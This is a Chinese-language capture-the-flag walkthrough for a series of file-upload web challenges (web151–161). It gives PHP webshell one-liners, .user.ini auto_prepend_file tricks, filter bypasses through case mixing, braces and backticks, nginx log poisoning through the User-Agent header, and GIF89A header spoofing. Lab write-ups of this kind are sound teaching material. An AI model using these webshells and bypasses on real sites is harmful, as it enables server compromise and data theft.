web入门:文件上传
web151
首先创建一个记事本,内容为<?php eval($_POST['a']);?>
然后修改文件后缀为png,因为题目要求上传一个图片文件,上传时使用burpsuite进行抓包,在burpsuit上修改将后缀名改为php
文件上传成功后,会给你你刚才上传的路径
在url中输入以进入路径,然后复制网址
使用中国蚁剑进入文件查询
获取flag
web152
同上,一模一样
web153
这题不能通过该burpsuite中文件的后缀来获取flag
首先我们上传一个.user.ini文件,内容如下,我们可以先改为png后缀再抓包,修改,再上传
1 |
|
然后我们再上传1.png
内容为
1 |
|
然后我们可以用中国蚁剑连接,连接后缀为/upload/index.php
还可以这样做
先检查木马是否上传完毕
在index.php进行命令执行成功,说明我们的木马上传成功
ls发现并没有flag
我们返回上一级试试
成功发现flag
再次post
1 |
|
查看源码发现flag
web154
首先写好一个.user.ini文件
内容为auto_prepend_file=1.pHp
注:本题过滤了php,因此使用大小写混写可以跳过
把.user.ini文件添加png后缀以成功提交
在提交时开启burpsuite 抓包
删除.png后缀
成功提交
再写一个1.pHp文件
内容为
同样的php要大小写混用
把1.pHp后缀改为1.png
上传,抓包,把后缀.png改为.pHp
成功上传
接下来我们打开中国蚁剑
成功连接
在/var/www/html/中找到flag.php
✌️
web155
先上传.user.ini.png文件
内容为auto_prepend_file=1.png
注:本题过滤了php
提交时开启burpsuite 抓包
删除.png后缀
成功提交
再写一个1.png文件
内容为<?= eval($POST['a']);?>
直接提交
这样写虽然能成功连接中国蚁剑但是不能访问,所以
进入/upload/index.php路径
hackbar中post提交a=system(“cat ../flag.php”);
打开源码即可看到flag
2
虽然本题过滤了php,但可以用txt
上传.user.ini.png文件
内容为auto_prepend_file=1.txt
抓包,删除.png后缀
成功提交
写一个1.png文件
内容同上
抓包将png后缀改为.txt
上传成功
这样就能在中国蚁剑上访问了
同样的flag在/var/www/html/目录下
web156
上传1.png文件 内容为 <?= eval($_POST{'a'});?>
在burpsuite里改为1.txt
这题过滤了php还有[],所以[]用{}代替
接下来就和上一题一样了
上传一个.user.ini.png
内容为auto_prepend_file=1.txt
抓包后改为.user.ini
进入/upload/index.php 打开蚁剑,成功连接,找到flag
也可以在post里输入a=system(“cat ../flag.php”);
找到flag
web157
本题又添加过滤了;
我们可以把语句用括号()包含,
1.png
内容:<?=(system("cat ../fla*"))?>
.user.ini
内容:auto_prepend_file=1.png
上传这两个后进入/upload查看flag
web158
同157题
web159
本题又过滤了括号,我们可以用反引号代替括号
1.png
内容:<?= `cat ../fla*`?>
.user.ini
内容:auto_prepend_file=1.png
上传后进入/upload查看flag
web160
本题添加了日志包含,nginx的日志在/var/log/nginx/access.log,过滤了log,用.拼接
include”/var/lo”.”g/nginx/access.lo”.”g”
首先先上传.user.ini
内容:auto_prepend_file=1.png
再上传1.png
内容:<?=include"/var/lo"."g/nginx/access.lo"."g"?>
进入/uoload 发现日志包含ua头,我们在ua头写cat语句
User-Agent:<?=`cat ../fla*`?>
成功显示flag
web161
本题较上一题添加了绕过PHP函数getimagesize()检测文件头,老套路,上传的文件首行都加一个GIF89A,其余操作同160题